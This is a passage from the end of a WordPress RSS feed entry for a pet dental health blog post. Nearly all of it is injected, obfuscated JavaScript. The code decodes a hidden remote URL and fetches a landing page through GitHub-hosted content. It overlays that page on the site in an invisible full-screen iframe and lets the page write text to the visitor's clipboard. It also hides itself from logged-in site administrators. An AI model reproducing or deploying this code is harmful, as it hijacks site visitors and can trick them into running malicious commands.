87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
<p>The post <a rel="nofollow" href="https://dawgiebowl.com/blog/pet-dental-health/">Pet Dental Health Guide: How to Take Care of Your Dog or Cat&#8217;s Oral Hygiene</a> appeared first on <a rel="nofollow" href="https://dawgiebowl.com">DawgieBowl</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4816</post-id>	</item>
	</channel>
</rss>
